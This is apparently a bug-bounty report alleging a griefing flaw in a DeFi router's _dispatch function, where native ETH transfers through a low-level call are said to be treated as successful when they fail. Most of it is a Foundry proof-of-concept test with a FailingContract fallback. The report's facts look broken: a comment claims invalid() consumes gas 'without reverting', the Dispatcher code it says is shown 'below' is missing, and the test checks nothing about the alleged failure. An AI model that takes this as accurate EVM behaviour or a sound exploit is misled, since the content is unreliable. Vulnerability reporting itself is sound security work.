Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
_dispatch() incorrectly assumes revert bubbling when transferring native tokens.
Vulnerability Details
When a Native eth transfer is executed through Router:: _dispatch(command, input); the underlying function performing the call assumes that any exceptions will be bubbled up, but with call being a low level rather than a Solidity function, it is not the case.
As seen below, there is an Incorrect assumption that reverts would bubble: In the Dispatcher.
But as outlined in Solidity by Example - call https://solidity-by-example.org/call/.
Impact Details
Griefing attacks. The incorrect assumption allows attackers to perform griefing attacks. Attackers can execute Failed native token transfers as though it was successful.
call is a low level function to interact with other contracts.
This is the recommended method to use when you're just sending Ether via calling the fallback function.
However, it is not the recommended way to call existing functions.
Few reasons why low-level call is not recommended
Reverts are not bubbled up
Type checks are bypassed
Function existence checks are omitted
contract FailingContract {
// Fallback function that consumes all gas but does not revert
fallback() external payable {
assembly {
invalid() // Consumes all gas without reverting
}
}
}
contract ContractRouterTest is RouterBaseTest {
FailingContract public FaContract;
function setUp() public override {
super.setUp();
FaContract = new FailingContract();
underlying.mint(testUser, FAUCET_AMOUNT * 3);
ibt.deposit(FAUCET_AMOUNT * 2, testUser);
ibt.approve(address(spectra4626Wrapper), FAUCET_AMOUNT);
spectra4626Wrapper.wrap(FAUCET_AMOUNT, testUser);
}
function testTransFerNative() public {
address payable sender = payable(address(this));
address payable recipient = payable(address(FaContract));
// Get rid of residues
uint256 senderBalance = IERC20(WETH_WRAPPER_ADDRESS).balanceOf(sender);
if (senderBalance > 0) {
IERC20(WETH_WRAPPER_ADDRESS).approve(address(0), senderBalance);
IERC20(WETH_WRAPPER_ADDRESS).transferFrom(sender, address(0), senderBalance);
}
// Send native to router contract
vm.deal(sender, 1 ether);
uint256 amount = 1 ether;
uint256 nativeBalanceBefore = sender.balance;
vm.prank(sender);
payable(address(router)).call{value: amount}("");
// Build the router execution for deposit
bytes memory commands = abi.encodePacked(
bytes1(uint8(Commands.DEPOSIT_NATIVE_IN_WRAPPER)),
bytes1(uint8(Commands.TRANSFER))
);
bytes[] memory inputs = new bytes[](2);
inputs[0] = abi.encode(WETH_WRAPPER_ADDRESS, 1 ether);
inputs[1] = abi.encode(WETH_WRAPPER_ADDRESS, sender, 1 ether);
// execute the commands
router.execute(commands, inputs);
senderBalance = IERC20(WETH_WRAPPER_ADDRESS).balanceOf(sender);
assertEq(senderBalance, 1 ether, "Wrapped native balance is wrong");
// Build the router execution for withdraw
commands = abi.encodePacked(
bytes1(uint8(Commands.TRANSFER_FROM)),
bytes1(uint8(Commands.WITHDRAW_NATIVE_FROM_WRAPPER)),
bytes1(uint8(Commands.TRANSFER_NATIVE))
);
inputs = new bytes[](3);
inputs[0] = abi.encode(WETH_WRAPPER_ADDRESS, senderBalance);
inputs[1] = abi.encode(WETH_WRAPPER_ADDRESS, senderBalance);
inputs[2] = abi.encode(recipient, senderBalance);
// execute the withdrawal
// This execution will pass as though the native transfer was successful.
// Because the contract incorrectly assumes revert bubbling.
vm.prank(sender);
IERC20(WETH_WRAPPER_ADDRESS).approve(address(router), senderBalance);
router.execute(commands, inputs);
}
}